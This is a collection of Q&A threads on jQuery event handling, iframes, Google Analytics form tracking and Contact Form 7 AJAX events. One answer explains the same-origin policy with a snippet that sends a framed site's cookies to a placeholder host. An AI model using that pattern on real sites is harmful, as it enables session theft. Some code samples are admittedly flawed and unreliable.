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Event "load" on iframe triggers successfully but iframe can't be targeted

I've successfully created a snippet of code that takes a CSV array and through an IFRAME drop the text into Wikipedia's search bar and click the search button. Unfortunately, after loading, I'm unable to target the IFRAME's content any longer. I've also nested two load event handlers with the intent to wait for each page to complete loading.
I have the handlers set to unbind/off after firing and that seems to prevent "duplicate events" from firing. I've tried a couple of tactics to determine if the event handler is triggering at the right time along with changing the target ID but not certain what else to try at this point. I suspect the 2nd event handler is triggering while on the previous page since it already triggered ready but the "appends" seem to work as expected.
$("#debugwindow").append("pre<br>");
$("#iframeTarget").on("load", function() {
$("#iframeTarget").unbind();
$("#iframeTarget").off();
$("#iframeTarget").attr("id","iframeTarget2");
$("#debugwindow").append("start interior of 1<br>");
$("#iframeTarget2").on("load", function() {
$("#iframeTarget2").unbind();
$("#iframeTarget2").off();
$("#iframeTarget2").attr("id","iframeTarget3");
$("#debugwindow").append("start interior of 2<br>");
$("#iframeTarget3").contents().find("#searchInput").val("I don't work?"); // 3 fails?
$("#iframeTarget,#iframeTarget2,#iframeTarget3").html("even I don't do anything!"); // fails?
// $("#iframecont").html("I ruin everything!"); // targets iframe container as test
$("#debugwindow").append("end interior of 2<br>");
});
$(this).contents().find("#searchInput").val("3M"); // 1 successfully fills search
$(this).contents().find("#searchButton").trigger("click"); // 2 successfully triggers button, changes URL to 3M page
$("#debugwindow").append("end interior of 1<br>");
});
$("#debugwindow").append("post<br>");
Looking for any insights into properly setting up the 2 event handlers or if my logic is wrong. Ideally, I will be able to fill the search bar, trigger the search, and then manipulate the DOM on the next loaded page.

This is because of security concerns in the browser. You will not be able to execute any script in the javascript iframe, as it exposes extreme risk if you're able to execute javascript code inside a remote iframe.
For example:
<iframe src="http://website.to.hack"></iframe>
$(iframe).load(() => {
$.ajax({
url: 'http://my.website',
data: iframe.document.cookie
});
});
Now I have all your cookies for that site. Unless that frame has a specific trust between your site and it, you're not going to be able to script. (You'll likely need a chrome extension for that).
See this post and thread for more information.

How to setup event tracking on Google Analytics on form submission?

Im trying to track when a user hits the submit button on a contact form.
The page's URL doesn't change, its static.
I can't track a differnt URL after submission, the only option would be to track when a user hits the submit button.
Do I need to edit my analytics account?
Where do I add the additional javascript?
UA is installed correctly (analytics.js)
I'm new to GA and javascript so please break it down for me.
Thanks

I can't track a differnt URL after submission, the only option would be to track when a user hits the submit button.
That is a bit of a non sequitur. Even when the Url does not change there is probably some stuff happening - before you send it there is probably some form validation, and there is some action behind the scene to send there form, like e.g an ajax call.
You could attach event tracking to a submit handler:
<form onSubmit="ga('send','event','category','action','label')">
<input type="text" id="text" name="text">
<input type="submit">
</form>
However this would just tell you that somebody hit the submit button, not if they filled in the form correctly or if the form actually has been sent.
Now I enter speculation land, because I do not know how your form actually works - maybe you can show us an url or give more information.
But maybe you have a validation function that is called on the submit action of the form to see if the form is filled in correctly. In that case it would be advisable to do the tracking in the validation function (horribly simplified example, not production code):
<form onSubmit="validate()"><input type="text" id="text" name="text"><input type="submit"></form>
<script>
function validate() {
var test = document.querySelector('#text').value
if(test = "") {
ga('send','event','Form','Submit','Submitted, but not filled in');
return false;
}
ga('send','event','Form','Submit','Submitted with correct values');
return true;
}
</script>
That's a tad better, at least it tracks the difference between correct submissions and invalid submissions.
Even more speculation: If your form is sent without page reloads it uses probably an ajax call, and there is a huge probability that is uses jQuery (I say that because a) it really is probable and b) it's easier to construct an example in jQuery. The same can be achivied with other libraries or in native JS, but the example will produce an error if you do not use jQuery).
jQuery has a thing called "global ajax handlers". "Global" means they are not callbacks for a specific action, they hook into jQuerys ajax "mechanism" whenever a call to an ajax function is made. The following might work if you have only one aja event per page (else you need logic to distinguish the different ajax event e.g, by checking the url they are being send to), and allows you to track if the ajax call has returned successfully, like when your form data has been send to the server and the request return a 2xx status code:
$(document).ajaxSuccess(function() {
ga('send','event','Form','Submit','Yeah, form data sent to the server');
});
However this does not tell you if the data has been processed correctly. For that you need to make the server emit a success message and check the response:
$( document ).ajaxSuccess(function( event, xhr, settings ) {
if ( settings.url == "formprocessor.php" ) {
if(xhr.responseText.indexOf("success") > -1) {
ga('send','event','Form','Response Received','Form data processed ');
} else {
ga('send','event','Form','Response Received','Form data NOT processed ');
}
}
});
The global ajax event handler is attached to the document - you can put that anywhere on your page, it will do nothing unless an ajax event was called.
Again, this is not production code. Do not try to copy and paste.
This was certainly a bit much if you are new to this, but it should at least help you to improve the question and to see what kind of things are possible. If you can share an Url to your form I can possibly improve the answer.

Contact Form 7 AJAX Callback

Been searching around on this for a while and can't come up with any documentation to outline what i want to achieve.
I'm using wordpress and the Contact Form 7 plugin, all is working perfectly, what i want to achieve is to run some particular javascript upon form submit, i know we can use "on_sent_ok:" in the additional settings, but this only performs if the form is actually submitted.
What i'd like to do is to do some other javascript when the form doesn't submit ok, which throws the user back to the section which didn't validate.
I can use the following code to run after 1.7s of the form submit being clicked, however it's a bit sloppy as if the user was running with a slow connection, there's potential this could run before the form is submitted properly.
$('.wpcf7-submit').click(function() {
setTimeout(function() {
if ($('.fs1 input,.fs1 textarea').hasClass('wpcf7-not-valid')) {
$('.pop-up-form').removeClass('pustep2').removeClass('pu-closing');
$('.form-step').hide();
$('.fs1').show();
}
if ($('.fs2 *').hasClass('wpcf7-not-valid')) {
alert('error on page 2 - take user back to the area with issues')
}
}, 1700);
});
Is there any particular function or hook i can use to run JS when the form AJAX has completed?
Thanks!

In version 3.3 new jQuery custom event triggers were introduced:
New: Introduce 5 new jQuery custom event triggers
wpcf7:invalid
wpcf7:spam
wpcf7:mailsent
wpcf7:mailfailed
wpcf7:submit
You can use wpcf7:invalid like the example below:
$(".wpcf7").on('wpcf7:invalid', function(event){
// Your code here
});

Given the variety of responses on this topic the plugin developer seems to change their mind about how this should work every 5 minutes. Currently (Q1 2017) this is the working method:
document.addEventListener( 'wpcf7mailsent', function( event ) {
alert( "Fire!" );
}, false );
And the valid events are:
wpcf7invalid — Fires when an Ajax form submission has completed
successfully, but mail hasn’t been sent because there are fields with
invalid input.
wpcf7spam — Fires when an Ajax form submission has
completed successfully, but mail hasn’t been sent because a possible
spam activity has been detected.
wpcf7mailsent — Fires when an Ajax
form submission has completed successfully, and mail has been sent.
wpcf7mailfailed — Fires when an Ajax form submission has completed
successfully, but it has failed in sending mail.
wpcf7submit — Fires
when an Ajax form submission has completed successfully, regardless
of other incidents.
Sauce: https://contactform7.com/dom-events/

Sometimes it may not work, as Martin Klasson pointed out, only 'submit' event works, most probable because it's triggered by a form and bubbles up to the selected object. Also as I can understand, now events have other names, like "invalid.wpcf7", "mailsent.wpcf7", etc. In short, this should work:
jQuery('.wpcf7').on('invalid.wpcf7', function(e) {
// your code here
});
More detailed explanation here: How to add additional settings on error in Contact form 7?

This code works since 5.8.x version:
$('.wpcf7').on('wpcf7invalid wpcf7spam wpcf7mailsent wpcf7mailfailed', function () {
// your code here
});

I had quite a go at this, and I found that when only the Submit event works, it means that there is a js problem / conflict in your theme.
If it's a custom theme you built, make sure jQuery and jQuery migrate are both loaded, in this order, and that the Contact form 7 js is also loaded in the footer.
Make sure you have wp_head, and wp_footer in your php templates.
For DOM events to work, your form must be in Ajax mode. If the page reloads upon submission, forget about DOM events. If you have the form ID showing up in the URL, same thing. My form was initially not in Ajax mode because the Contact Form JS was not loaded, and jQuery Migrate either.
The form must behave exactly like shown on this page for the DOM events to be fired properly. Once you have that, it should be working.
I've tested this with jQuery 3.3.1 and Migrate 3.0.1 and the following event listener worked:
document.addEventListener( 'wpcf7mailsent', function( event ) {
console.log('mail sent OK');
// Stuff
}, false );
To check if your theme is the culprit, test your form using Wordpress' default theme, if it works, you know the issue is on your end and not so much in the dev's doc!

I tried to implement the dom event behavior in wordpress contact form 7 plugin as described here, but after trying numerous methods which are given as fixes in different forums I implemented a method of my own.
I m describing the method here below. The method involves some steps which are listed below:
Creating the contact form
Scripting for the contact form to capture event triggers and form data
Loading the script
1. Creating the contact form
<label> Your name
[text* cform7-name id:cform7-name autocomplete:name] </label>
<label> Your Number
[tel* cform7-contact id:cform7-contact] </label>
<label> Course You are interested (Press Ctrl + Select to select Mutiple)
[select* cform7-courses id:cform7-courses multiple "JAVA" "Python" "C#" "Others"] </label>
<label> Your message (optional)
[textarea cform7-submit id:cform7-message] </label>
[submit id:cform7Submit "Submit"]
Above is a sample script with ids so that we can easily retreive those elements from DOM tree using JS. [You can modify the field ids as your need]
2. Scripting for the contact form to capture event triggers and form data
document.addEventListener('DOMContentLoaded', function() {
var frmButton = document.getElementById('cform7Submit');
frmButton.addEventListener( 'click', function( event ) {
var data = {
name: document.getElementById('cform7-name').value,
contact: document.getElementById('cform7-contact').value,
courses: document.getElementById('cform7-courses').value,
comment: document.getElementById('cform7-message').value
};
event.preventDefault();
console.log('Event Data ', event);
console.log('Data ', data);
}, false );
}, false);
Save the above script in wordpress deployment directoty. In my case I placed the script in the root deployment directory itself(<worpress-root-directory>) and saved the file as cform7.js.
Ex: /var/www/wordpress-site/cform7.js
After finishing this we need to load the script.
3. Loading the script
function cform7_script() {
wp_enqueue_script( 'cform7-js', '/cform7.js');
}
add_action('wp_enqueue_scripts', 'cform7_script');
Place the above code in the <worpress-root-directory>/wp-includes/functions.php file
That's done! On clicking the form submit button(cform7-submit) you must see the data logged in the console.

Duplicate javascripts are getting loaded ajax

I'm developing a web based document management for my final year project. The user interacts with only one page and the respective pages will be called using AJAX when the user click the respective tabs (Used tabs for navigation).
Due to multiple user levels (admin, managers, etc.) I've put the javascripts into the correspondent web pages.
When user requests the user request everythings work perfectly except some situations where some functions are triggered multiple times. I found the problem. It is each time the user clicks a tab it loads same scripts as new instance and both of them will be triggered when I call a function.
to load the content I tired
.load and $.ajax(); non of them address the issue.
I tried to put all into the main page at that time my jQueryUI does not work. I tired
$(document).load('click', $('#tab_root li'), function(){});
Same issue remain.
Can anyone help me out this issue?
--Edit--
$(function){
$(document).on('click','#tabs',function(e){
getAjax($(this))
});
}
//method to load via AJAX
function getAjax(lst){
var cont = $(lst).text();
$.ajax({
url:'../MainPageAjaxSupport',
data: {
"cont":cont
},
error: function(request, status, error){
if(status==404){
$('#ajax_body').html("The requested page is not found. Please try again shortly");
}
},
success: function(data){
$('#ajax_body').html(data);
},
});
}

You can't undo JavaScript after it has been executed by simply unloading the file or removing the script element.
The best solution would probably be to set a variable in each JavaScript file you include in your ajax data and include them from an online inline JavaScript inside the ajax data along with a conditional like such:
<script>
if(!tab1Var) $.getScript("filename");
<script>
Older Solutions
You can manually unbind each event before setting them with off.
$(function){
$('#tabs').off('click');
$('#tabs').on('click',function(e){
getAjax($(this));
});
}
Alternatively you can initialize a global variable (eventsBound1=false) for each tab in the main html:
$(function){
if(!eventsBound1){
$('#tabs').on('click', function(e){
getAjax($(this));
});
eventsBound1 = true;
}
}
The tabs click event is only an example you have to do this for each time you bind an event in the scripts that are being reloaded.
if all the events are bound to things inside ajax_body, a final thing you can try is:
success: function(data){
$('#ajax_body').empty();
$('#ajax_body').html(data);
},

You have bind an event click on 'document' so getAjax() only replace the '#ajax_body' not the 'document'.
This means old event is still attached to the 'document' all you need is to unbind event by using $(document).off('click'); or change 'document' to other elements.

How do I re-bind this Javascript event, using jQuery, after an XHR response?

I have a form embedded in a web page. When the user clicks submit the XHR response is either a form with all fields reset (i.e. upon success), or a form with error messages (i.e. upon failure). I use the response to overwrite the existing form.
This works the first time the user submits the form. If they submit a second time however, the problem is that the form is posting a full HTTP request.
In the web page the form is wrapped in a span, #add-container. The button within the form is #add-button.
Per the code below, I am trying to re-bind a function to the click event of the buttom whenever the content in the span changes. It seems that this works the first time (i.e. when the document loads), but not subsequent times (i.e. when the XHR response is loaded into the page).
// Add product and services
$(document).ready(function() {
$("#add-container").change(prepareAddForm());
});
function prepareAddForm() {
var uri = '/product/add/org/4/format/html';
$("#add-button").click(function() {
$("#add-container").load(uri, {language: "php", version: 5});
return false;
});
}
Any ideas? Thanks for your assistance...

Sorry - just sorted it out. Needed to use the .live() method!